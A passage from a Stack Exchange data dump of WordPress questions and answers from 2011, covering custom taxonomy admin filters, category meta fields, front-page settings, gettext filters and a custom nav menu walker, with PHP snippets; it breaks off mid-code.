  <row Id="8730" PostTypeId="2" ParentId="8709" CreationDate="2011-02-07T10:22:50.120" Score="0" ViewCount="" Body="&lt;p&gt;yes, wordpress 3.1 addresses exactly this requirement with &quot;advanced taxonomy queries&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;otto's done a great in-depth explanation at &lt;a href=&quot;http://ottopress.com/2010/wordpress-3-1-advanced-taxonomy-queries/&quot; rel=&quot;nofollow&quot;&gt;http://ottopress.com/2010/wordpress-3-1-advanced-taxonomy-queries/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2877" LastActivityDate="2011-02-07T10:22:50.120" />
  <row Id="8731" PostTypeId="2" ParentId="4010" CreationDate="2011-02-07T11:15:34.617" Score="1" ViewCount="" Body="&lt;p&gt;From quick look at plugin's description and code there doesn't seem to be such option. Category management mostly refers to controlling them in admin area.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also see &lt;a href=&quot;http://wordpress.org/extend/plugins/subscribe2/faq/&quot; rel=&quot;nofollow&quot;&gt;Plugin's FAQ&lt;/a&gt; - it lists its' community support page at GetSatisfaction and option to receive paid support from developer.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-02-07T11:15:34.617" />
  <row Id="8732" PostTypeId="2" ParentId="8712" CreationDate="2011-02-07T11:29:02.697" Score="1" ViewCount="" Body="&lt;p&gt;Look for any function in the plugin code like truncate or strLen that could be cutting your titles or limiting their number of chars.&lt;/p&gt;&#xA;" OwnerUserId="692" LastActivityDate="2011-02-07T11:29:02.697" />
  <row Id="8733" PostTypeId="2" ParentId="6212" CreationDate="2011-02-07T11:31:17.770" Score="1" ViewCount="" Body="&lt;p&gt;From quick look at plugin's code it clearly has &lt;code&gt;wpinfobox&lt;/code&gt; and &lt;code&gt;wpinfobox-title&lt;/code&gt; IDs included in markup and only &lt;a href=&quot;http://plugins.trac.wordpress.org/browser/wp-infobox/trunk/css/wp-infobox.css&quot; rel=&quot;nofollow&quot;&gt;refers to them explicitly in CSS&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are not content with its markup you can remove plugin's filter and re-use it custom fields by your own code by analogue with &lt;a href=&quot;http://plugins.trac.wordpress.org/browser/wp-infobox/trunk/wp-infobox.php#L180&quot; rel=&quot;nofollow&quot;&gt;the_box() method&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-02-07T11:31:17.770" />
  <row Id="8734" PostTypeId="1" AcceptedAnswerId="8765" CreationDate="2011-02-07T11:31:58.000" Score="0" ViewCount="276" Body="&lt;p&gt;I'm using the following code to create drop-down menu and filter button for two custom taxonomies assigned to a custom post type called Page Content (full previous code &lt;a href=&quot;http://wordpress.stackexchange.com/questions/7492/how-to-show-the-taxonomy-assigned-to-a-post-in-the-table-where-all-the-posts-are&quot;&gt;here&lt;/a&gt;):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;        function parse_query($query) {&#xA;            global $pagenow;&#xA;            $qv = &amp;amp;$query-&amp;gt;query_vars;&#xA;            if ($pagenow=='edit.php' &amp;amp;&amp;amp;&#xA;                isset($qv['taxonomy']) &amp;amp;&amp;amp; $qv['taxonomy']=='locations' &amp;amp;&amp;amp;&#xA;                isset($qv['term']) &amp;amp;&amp;amp; is_numeric($qv['term'])) {&#xA;                    $term = get_term_by('id',$qv['term'],'locations');&#xA;                    $qv['term'] = $term-&amp;gt;slug;&#xA;                }&#xA;            if ($pagenow=='edit.php' &amp;amp;&amp;amp;&#xA;                isset($qv['taxonomy']) &amp;amp;&amp;amp; $qv['taxonomy']=='page_sections' &amp;amp;&amp;amp;&#xA;                isset($qv['term']) &amp;amp;&amp;amp; is_numeric($qv['term'])) {&#xA;                    $term = get_term_by('id',$qv['term'],'page_sections');&#xA;                    $qv['term'] = $term-&amp;gt;slug;&#xA;                }&#xA;        }&#xA;        // Add filter drop-down menu for the custom taxonomies&#xA;        function restrict_manage_posts() {&#xA;            global $typenow;&#xA;            global $wp_query;&#xA;            if ($typenow=='page_content') {&#xA;                $taxonomy = 'locations';&#xA;                $locations = get_taxonomy($taxonomy);&#xA;                wp_dropdown_categories(array(&#xA;                    'show_option_all' =&amp;gt;  __(&quot;Show All {$locations-&amp;gt;label}&quot;),&#xA;                    'taxonomy'        =&amp;gt;  $taxonomy,&#xA;                    'name'            =&amp;gt;  $taxonomy,&#xA;                    'orderby'         =&amp;gt;  'name',&#xA;                    'selected'        =&amp;gt;  $wp_query-&amp;gt;query['term'],&#xA;                    'hierarchical'    =&amp;gt;  true,&#xA;                    'depth'           =&amp;gt;  3,&#xA;                    'show_count'      =&amp;gt;  true,  // This will give a view&#xA;                    'hide_empty'      =&amp;gt;  true,   // This will give false positives, i.e. one's not empty related to the other terms. TODO: Fix that&#xA;                ));&#xA;            }&#xA;            if ($typenow=='page_content') {&#xA;                $taxonomy = 'page_sections';&#xA;                $page_sections = get_taxonomy($taxonomy);&#xA;                wp_dropdown_categories(array(&#xA;                    'show_option_all' =&amp;gt;  __(&quot;Show All {$page_sections-&amp;gt;label}&quot;),&#xA;                    'taxonomy'        =&amp;gt;  $taxonomy,&#xA;                    'name'            =&amp;gt;  $taxonomy,&#xA;                    'orderby'         =&amp;gt;  'name',&#xA;                    'selected'        =&amp;gt;  $wp_query-&amp;gt;query['term'],&#xA;                    'hierarchical'    =&amp;gt;  true,&#xA;                    'depth'           =&amp;gt;  3,&#xA;                    'show_count'      =&amp;gt;  true,  // This will give a view&#xA;                    'hide_empty'      =&amp;gt;  true,   // This will give false positives, i.e. one's not empty related to the other terms. TODO: Fix that&#xA;                ));&#xA;        }&#xA;    }&#xA;    YourSite_PageContent::on_load();&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But I'm getting the following warning:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    Parse error: syntax error, unexpected T_STRING, &#xA;expecting T_FUNCTION in /home/alex/www/wpac/wp-content/themes&#xA;/prominent/functions/custom-post-types.php on line 181 &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is line 181: &lt;code&gt;YourSite_PageContent::on_load();&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="781" LastActivityDate="2011-02-07T16:03:49.963" Title="Creating a drop-down and filter button for two custom taxonomies assigned to a custom post type" Tags="&lt;custom-taxonomy&gt;&lt;filters&gt;" AnswerCount="1" CommentCount="3" FavoriteCount="1" />
  <row Id="8735" PostTypeId="2" ParentId="6319" CreationDate="2011-02-07T11:42:51.567" Score="1" ViewCount="" Body="&lt;p&gt;While importing from machine-readable formats, such as RSS is quite straightforward and usually has plenty of tools around... it is very different story with arbitrary HTML.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are not up to code this from scratch, then closest semi-automated tool I know is &lt;a href=&quot;http://open.dapper.net/&quot; rel=&quot;nofollow&quot;&gt;Dapper&lt;/a&gt; - it can process HTML pages and according to rules that you setup in visual interface convert it to other formats, including XML and RSS. On other hand I am not sure it will be able to handle your requirement of page discovery. &lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-02-07T11:42:51.567" />
  <row Id="8736" PostTypeId="1" CreationDate="2011-02-07T12:27:50.917" Score="0" ViewCount="269" Body="&lt;p&gt;I'd like to Add custom field to Category.&#xA;I mean when I creat a category I only have&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Name:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Slug:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Parent:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Description:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since I have a TV Series Site, I want to add some more fields, I want something like this, when I create a new category (Category=Series)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Name:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Artist:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Year:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Type:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Genre:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Summary:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Slug:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Parent:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Description:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And so on...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help please?&#xA;Thanks in advance.&lt;/p&gt;&#xA;" LastActivityDate="2011-03-09T16:08:22.793" Title="Add custom field to Category" Tags="&lt;categories&gt;" AnswerCount="2" CommentCount="1" />
  <row Id="8737" PostTypeId="1" AcceptedAnswerId="8739" CreationDate="2011-02-07T12:37:38.883" Score="0" ViewCount="27" Body="&lt;p&gt;I need some help.&#xA;I want the same as on this site: &lt;a href=&quot;http://www.123ipad.nl/&quot; rel=&quot;nofollow&quot;&gt;http://www.123ipad.nl/&lt;/a&gt; (this is my website)&lt;br /&gt;&#xA;When you go to the home url you come to a page in stead of the newspage.&lt;br /&gt;&#xA;The newspages are in the submap &lt;a href=&quot;http://www.123ipad.nl/ipad&quot; rel=&quot;nofollow&quot;&gt;/ipad&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;So i have two questions:&lt;/strong&gt;&lt;br /&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1: how do i get the newspages in the submap &lt;a href=&quot;http://www.123ipad.nl/ipad&quot; rel=&quot;nofollow&quot;&gt;/ipad&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2: How do i set my first created page permalink as homepage? Same as on this image:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/fBu2g.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;where you see nothing after &lt;code&gt;http://www.123ipad.nl/&lt;/code&gt; )&lt;/p&gt;&#xA;" OwnerUserId="2293" LastEditorUserId="178" LastEditorDisplayName="" LastEditDate="2011-02-07T12:42:13.180" LastActivityDate="2011-02-07T12:53:57.777" Title="How to set a page as homepage in stead of the newspages?" Tags="&lt;theme-development&gt;&lt;themes&gt;&lt;permalinks&gt;" AnswerCount="1" />
  <row Id="8738" PostTypeId="2" ParentId="8736" CreationDate="2011-02-07T12:51:06.373" Score="1" ViewCount="" Body="&lt;p&gt;Paul Menard provided an example of how to create and use term meta in his blog...&lt;br&gt;&#xA;&lt;a href=&quot;http://www.codehooligans.com/2010/07/07/custom-meta-for-new-taxonomies-in-wordpress-3-0/&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;&lt;em&gt;Custom meta for new taxonomies in WordPress 3.0&lt;/em&gt;&lt;/strong&gt;&lt;/a&gt;.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;There's no example of creating the DB table or checking &lt;code&gt;$_POST&lt;/code&gt; vars are set, so you'll need to do those little things yourself, but it looks like a decent code base to build on top of ... :)&lt;/p&gt;&#xA;" OwnerUserId="1468" LastEditorUserId="1468" LastEditorDisplayName="" LastEditDate="2011-03-09T16:08:22.793" LastActivityDate="2011-03-09T16:08:22.793" />
  <row Id="8739" PostTypeId="2" ParentId="8737" CreationDate="2011-02-07T12:53:50.393" Score="4" ViewCount="" Body="&lt;p&gt;please make yourself comfortable with the settings WordPress has to offer regarding your Homepage or Startpage as some call it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Those are &lt;em&gt;not&lt;/em&gt; configured via that &lt;em&gt;permalink setting&lt;/em&gt; of a specific page (as your image shows) but with options on the &lt;a href=&quot;http://codex.wordpress.org/Settings_Reading_SubPanel&quot; rel=&quot;nofollow&quot;&gt;Settings Reading SubPanel (Wordpress Codex)&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Probably &lt;a href=&quot;http://codex.wordpress.org/Creating_a_Static_Front_Page&quot; rel=&quot;nofollow&quot;&gt;Creating a Static Front Page (Wordpress Codex)&lt;/a&gt; is exactly what you're looking for.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This might not answer all your questions but might be helpful for a start.&lt;/p&gt;&#xA;" OwnerUserId="178" LastActivityDate="2011-02-07T12:53:50.393" CommentCount="1" />
  <row Id="8741" PostTypeId="1" AcceptedAnswerId="8742" CreationDate="2011-02-07T12:56:20.660" Score="0" ViewCount="74" Body="&lt;p&gt;I am looking for a way where, the users of my website will subscribe to a post, and when my post will be edited or updated they will be emailed by my posts contents,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My post contains, article, Twitter Updates, a Video&#xA;How will the users get notification when my posts get updated and also when someone comments on posts&lt;/p&gt;&#xA;" OwnerUserId="1743" LastEditorUserId="178" LastEditorDisplayName="" LastEditDate="2011-02-07T13:04:58.590" LastActivityDate="2011-02-07T13:04:58.590" Title="Subscribe to email" Tags="&lt;plugin-recommendation&gt;&lt;email&gt;&lt;updates&gt;&lt;subscription&gt;" AnswerCount="1" CommentCount="3" />
  <row Id="8742" PostTypeId="2" ParentId="8741" CreationDate="2011-02-07T13:03:36.407" Score="0" ViewCount="" Body="&lt;p&gt;Try this two plugins:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/post-notification/&quot; rel=&quot;nofollow&quot; title=&quot;Post Notification&quot;&gt;Post Notification&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/subscribe2/&quot; rel=&quot;nofollow&quot; title=&quot;Subscribe2&quot;&gt;Subscribe2&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="2727" LastActivityDate="2011-02-07T13:03:36.407" CommentCount="3" />
  <row Id="8743" PostTypeId="1" AcceptedAnswerId="8751" CreationDate="2011-02-07T13:18:38.870" Score="0" ViewCount="273" Body="&lt;p&gt;I want to change the default &quot;Excerpts are optional hand-crafted summaries of your content that can be used in your theme. Learn more about manual excerpts.&quot; help text below the Excerpt input area to something more meaningful for my Custom Post Type.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've done something similar with Post Title, using a &quot;translation&quot; filter, but how would I do this with the post excerpt? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is my current code:&lt;br&gt;&#xA;&lt;code&gt;&#xA;add_filter('gettext', 'custom_rewrites', 10, 4);&lt;br&gt;&#xA;function custom_rewrites($translation, $text, $domain) {&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    global $post;&#xA;&#xA;    $translations = &amp;amp;get_translations_for_domain($domain);&#xA;    $translation_array = array();&#xA;&#xA;    switch ($post-&amp;gt;post_type) {&#xA;        case 'model':&#xA;            $translation_array = array(&#xA;                'Enter title here' =&amp;gt; 'Enter model name here',&#xA;                'Excerpt' =&amp;gt; &quot;Byline&quot;,&#xA;                'Excerpts are optional hand-crafted summaries of your content that can be used in your theme.' =&amp;gt; &quot;Foobar&quot;&#xA;            );&#xA;            break;&#xA;    }&#xA;&#xA;    if (array_key_exists($text, $translation_array)) {&#xA;        return $translations-&amp;gt;translate($translation_array[$text]);&#xA;    }&#xA;&#xA;    return $translation;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The third translation isn't working?&lt;/p&gt;&#xA;" OwnerUserId="1118" LastEditorUserId="1118" LastEditorDisplayName="" LastEditDate="2011-02-07T15:42:03.727" LastActivityDate="2011-03-23T12:49:47.277" Title="How do I filter the excerpt metabox description in admin?" Tags="&lt;custom-post-types&gt;&lt;wp-admin&gt;&lt;filters&gt;&lt;customization&gt;&lt;excerpt&gt;" AnswerCount="2" CommentCount="2" />
  <row Id="8744" PostTypeId="1" AcceptedAnswerId="8745" CreationDate="2011-02-07T13:36:22.747" Score="0" ViewCount="146" Body="&lt;p&gt;I am managing a WP 3.0.4 site where every post has the profile of the author appended. Where is the setting to disable this?&lt;/p&gt;&#xA;" OwnerUserId="1976" LastActivityDate="2011-02-07T14:02:45.953" Title="Disable author profile in post" Tags="&lt;posts&gt;" AnswerCount="1" />
  <row Id="8745" PostTypeId="2" ParentId="8744" CreationDate="2011-02-07T14:02:45.953" Score="4" ViewCount="" Body="&lt;p&gt;There's no exact &quot;setting&quot; in the backend/Admin UI. You'll have to edit your template files (the php files that are in your theme folder). Search for something like &lt;code&gt;&amp;lt;a href=&quot;&quot;&amp;gt;&amp;lt;/a&amp;gt;&lt;/code&gt; where you got one (or more) of the php (wp native) function or variable: &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;the_author_posts_link();&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;$curauth-&amp;gt;user_url;&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;get_the_author();&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;get_author_posts_url();&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;... or something theme specific&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Helpful is always a link to the download of your theme or some template code.&lt;/p&gt;&#xA;" OwnerUserId="385" LastActivityDate="2011-02-07T14:02:45.953" CommentCount="3" />
  <row Id="8746" PostTypeId="2" ParentId="2802" CreationDate="2011-02-07T14:15:28.157" Score="5" ViewCount="" Body="&lt;p&gt;@goldenapples: &lt;a href=&quot;http://wordpress.stackexchange.com/questions/2802/display-a-portion-branch-of-the-menu-tree-using-wp-nav-menu/2930#2930&quot;&gt;Your Walker Class&lt;/a&gt; does not work. But the idea is really good. I created a walker based on your idea:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class Selective_Walker extends Walker_Nav_Menu&#xA;{&#xA;    function walk( $elements, $max_depth) {&#xA;&#xA;        $args = array_slice(func_get_args(), 2);&#xA;        $output = '';&#xA;&#xA;        if ($max_depth &amp;lt; -1) //invalid parameter&#xA;            return $output;&#xA;&#xA;        if (empty($elements)) //nothing to walk&#xA;            return $output;&#xA;&#xA;        $id_field = $this-&amp;gt;db_fields['id'];&#xA;        $parent_field = $this-&amp;gt;db_fields['parent'];&#xA;&#xA;        // flat display&#xA;        if ( -1 == $max_depth ) {&#xA;            $empty_array = array();&#xA;            foreach ( $elements as $e )&#xA;                $this-&amp;gt;display_element( $e, $empty_array, 1, 0, $args, $output );&#xA;            return $output;&#xA;        }&#xA;&#xA;        /*&#xA;         * need to display in hierarchical order&#xA;         * separate elements into two buckets: top level and children elements&#xA;         * children_elements is two dimensional array, eg.&#xA;         * children_elements[10][] contains all sub-elements whose parent is 10.&#xA;         */&#xA;        $top_level_elements = array();&#xA;        $children_elements  = array();&#xA;        foreach ( $elements as $e) {&#xA;            if ( 0 == $e-&amp;gt;$parent_field )&#xA;                $top_level_elements[] = $e;&#xA;            else&#xA;                $children_elements[ $e-&amp;gt;$parent_field ][] = $e;&#xA;        }&#xA;&#xA;        /*&#xA;         * when none of the elements is top level&#xA;         * assume the first one must be root of the sub elements&#xA;         */&#xA;        if ( empty($top_level_elements) ) {&#xA;&#xA;            $first = array_slice( $elements, 0, 1 );&#xA;            $root = $first[0];&#xA;&#xA;            $top_level_elements = array();&#xA;            $children_elements  = array();&#xA;            foreach ( $elements as $e) {&#xA;                if ( $root-&amp;gt;$parent_field == $e-&amp;gt;$parent_field )&#xA;                    $top_level_elements[] = $e;&#xA;                else&#xA;                    $children_elements[ $e-&amp;gt;$parent_field ][] = $e;&#xA;            }&#xA;        }&#xA;&#xA;        $current_element_markers = array( 'current-menu-item', 'current-menu-parent', 'current-menu-ancestor' );  //added by continent7&#xA;        foreach ( $top_level_elements as $e ){  //changed by continent7&#xA;            // descend only on current tree&#xA;            $descend_test = array_intersect( $current_element_markers, $e-&amp;gt;classes );&#xA;            if ( !empty( $descend_test ) ) &#xA;                $this-&amp;gt;display_element( $e, $children_elements, 2, 0, $args, $output );&#xA;        }&#xA;&#xA;        /*&#xA;         * if we are displaying all levels, and remaining children_elements is not empty,&#xA;         * then we got orphans, which should be displayed regardless&#xA;         */&#xA;         /* removed by continent7&#xA;        if ( ( $max_depth == 0 ) &amp;amp;&amp;amp; count( $children_elements ) &amp;gt; 0 ) {&#xA;            $empty_array = array();&#xA;            foreach ( $children_elements as $orphans )&#xA;                foreach( $orphans as $op )&#xA;                    $this-&amp;gt;display_element( $op, $empty_array, 1, 0, $args, $output );&#xA;         }&#xA;        */&#xA;         return $output;&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now you can use:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php wp_nav_menu( &#xA;   array(&#xA;       'theme_location'=&amp;gt;'test', &#xA;       'walker'=&amp;gt;new Selective_Walker() ) &#xA;   ); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The output is a list containing the current root element and it's children (not their children). Def: Root element := The top level menu item that corresponds to the current page or is parent of a current page or a parent of a parent ...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This does not exactly answer the original question but almost, since there is still the top level item. This is fine for me, because I want the top level element as a headline of the sidebar. If you want to get rid of this, you might have to override display_element or use a HTML-Parser.&lt;/p&gt;&#xA;" OwnerUserId="2999" LastEditorUserId="178" LastEditorDisplayName="" LastEditDate="2011-02-09T15:53:29.027" LastActivityDate="2011-02-09T15:53:29.027" />
  <row Id="8747" PostTypeId="2" ParentId="8736" CreationDate="2011-02-07T14:16:42.653" Score="2" ViewCount="" Body="&lt;p&gt;I posted an How To about it a week ago &lt;a href=&quot;http://en.bainternet.info/2011/wordpress-category-extra-fields&quot; rel=&quot;nofollow&quot;&gt;http://en.bainternet.info/2011/wordpress-category-extra-fields&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;hope this helps.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ohad.&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-02-07T14:16:42.653" />
  <row Id="8748" PostTypeId="1" AcceptedAnswerId="8753" CreationDate="2011-02-07T14:17:18.263" Score="1" ViewCount="123" Body="&lt;p&gt;I know I can get a categories ID by calling get_cat_ID('category-slug'), however, what is the method to call to determine if a category exists by ID when you don't know the slug?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In other words, I need to determine if category id 1 exists. What's the function for this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can I just use if(get_category(1)) {//do something?}&lt;/p&gt;&#xA;" OwnerUserId="366" LastActivityDate="2011-02-07T14:40:52.673" Title="How do I determine if a category exists by ID?" Tags="&lt;plugin-development&gt;" AnswerCount="2" />
  <row Id="8749" PostTypeId="1" CreationDate="2011-02-07T14:25:08.177" Score="1" ViewCount="488" Body="&lt;p&gt;There is lots of information out there on how to customize meta boxes added with add_meta_box(), such as enabling WYSIWYG editors on textareas and uploading images.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I have yet to find is a way to reuse WordPress 3.1 Internal Linking feature. Many of my custom fields contain urls to other pages on the site. The new Internal Linking feature would make it a lot easier for my users to find a page URL rather than having to remember it of cut &amp;amp; paste it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is the new Internal Linking feature reusable in conjunction with add_meta_box()?&lt;/p&gt;&#xA;" OwnerUserId="2450" LastActivityDate="2011-03-10T07:05:24.513" Title="Use WP 3.1 Internal Linking 'widget' as a meta_box" Tags="&lt;custom-field&gt;&lt;linking&gt;" AnswerCount="1" FavoriteCount="2" />
  <row Id="8750" PostTypeId="2" ParentId="8716" CreationDate="2011-02-07T14:25:09.460" Score="1" ViewCount="" Body="&lt;p&gt;The code below retrieves the custom post type of the currently displayed content and then decides wheter to print on of your stylesheets. Everything happens depending on your page name. You could also &lt;code&gt;var_dump($ctp_obj_name);&lt;/code&gt; or &lt;code&gt;printr($ctp_obj_name);&lt;/code&gt; and look what else the custom post type object has to offer and decide what you'll use instead of the name.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The following should reside in your functions.php or in some file included from there:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action( 'init', 'print_squeeze_style' );&#xA;function print_squeeze_style() {&#xA;    define( 'YOUR_PATH', get_bloginfo('stylesheetpath').'/squeeze_css_dir/' ); // define css folder for squeeze here&#xA;    $post_type = 'your_custom_post_type'; // define custom post type name here&#xA;&#xA;    // ID of post type currently displayed &#xA;    $ctp_ID = get_the_ID();&#xA;        // retrieve the whole ctp object of the current &quot;post&quot;&#xA;        $ctp_obj = get_post_type( $ctp_ID );&#xA;            $ctp_obj_name = $ctp_obj-&amp;gt;name; // get name&#xA;            $ctp_obj_type = $post-&amp;gt;post_type; // type&#xA;&#xA;    // file name depending on Custom Post Type Page Name&#xA;    if ( $ctp_obj_name == 'page name A' ) {&#xA;        $file = 'filename_a.css';&#xA;    }&#xA;    elseif ( $ctp_obj_name == 'page name B' ) {&#xA;        $file = 'filename_b.css';&#xA;    }&#xA;    else {&#xA;        $file = 'filename_default.css';&#xA;    }&#xA;&#xA;    // Register the stylesheet for printing&#xA;    if ( post_type_exists( $post_type ) )&#xA;        wp_register_style( 'squeeze-css', YOUR_PATH.$file, false, '0.0', 'screen' );&#xA;&#xA;&#xA;    // print styles depending on Custom Post Type Page Name&#xA;    // Then output/print style in head&#xA;    if ( $ctp_obj_type == $post_type ) {&#xA;        add_action( 'wp_head', wp_print_styles( 'squeeze-css' ) );&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As stated below (please upvote previous Answers too), you'll need an filter on the body_class() function output to do stuff like &lt;code&gt;body.squeeze div.wrapper div.post .some_element_class&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter( 'body_class', 'body_class_for_squeeze' );&#xA;function body_class_for_squeeze( $classes ) {&#xA;    $post_type = 'your_custom_post_type'; // define custom post type name here&#xA;    // ID of post type currently displayed &#xA;    $ctp_ID = get_the_ID();&#xA;    // retrieve the whole ctp object of the current &quot;post&quot;&#xA;    $ctp_obj = get_post_type( $ctp_ID );&#xA;        $ctp_obj_name = $ctp_obj-&amp;gt;name; // get name&#xA;        $ctp_obj_type = $post-&amp;gt;post_type; // type&#xA;&#xA;        // abort if we're not on a squeeze page&#xA;        if ( $ctp_obj_type !== $post_type )&#xA;            return;&#xA;            $classes[] .= 'squeeze';&#xA;&#xA;    return $classes;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="385" LastEditorUserId="385" LastEditorDisplayName="" LastEditDate="2011-02-07T14:31:48.173" LastActivityDate="2011-02-07T14:31:48.173" CommentCount="2" />
  <row Id="8751" PostTypeId="2" ParentId="8743" CreationDate="2011-02-07T14:32:16.037" Score="3" ViewCount="" Body="&lt;p&gt;This description is generated by &lt;code&gt;post_excerpt_meta_box()&lt;/code&gt; function and is not passed through any explicit filters. It is however echoed by translation-related &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/_e&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;_e()&lt;/code&gt;&lt;/a&gt; function and so passes through &lt;code&gt;gettext&lt;/code&gt; filter (which from your question you are already familiar with).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for limiting it to your CPT, I think current post type in admin is held in global &lt;code&gt;$post_type&lt;/code&gt; variable you can check.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-02-07T14:32:16.037" CommentCount="1" />
  <row Id="8752" PostTypeId="1" CreationDate="2011-02-07T14:35:09.470" Score="0" ViewCount="203" Body="&lt;p&gt;&lt;strong&gt;Wordpress 3.0.4:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/DObG1.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Wordpress 3.1 RC4:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/guQgt.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;functions.php (The last part is the one involved in filtering and displaying the drop-down menu):&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;&#xA;/**&#xA; * Create the Page Content custom post type and the Page Section custom taxonomy&#xA; */&#xA;add_action('init', 'my_init_method');&#xA;&#xA;if (!class_exists('YourSite_PageContent')) {&#xA;    class YourSite_PageContent {&#xA;        static function on_load() {&#xA;            add_action('init',array(__CLASS__,'init'));&#xA;            add_filter('manage_page_content_posts_columns',&#xA;                array(__CLASS__,'manage_page_content_posts_columns'));&#xA;            add_filter('manage_posts_custom_column',&#xA;                array(__CLASS__,'manage_posts_custom_column'),10,2);&#xA;            add_action('restrict_manage_posts',&#xA;                array(__CLASS__,'restrict_manage_posts'));&#xA;            add_filter('parse_query',&#xA;                array(__CLASS__,'parse_query'));&#xA;        }&#xA;        // Register custom post types and custom taxonomies&#xA;        static function init() {&#xA;            register_post_type('page_content',array(&#xA;                'labels' =&amp;gt; array(&#xA;                    'name' =&amp;gt; __( 'Page Content' ),&#xA;                    'singular_name' =&amp;gt; __( 'Page Content' 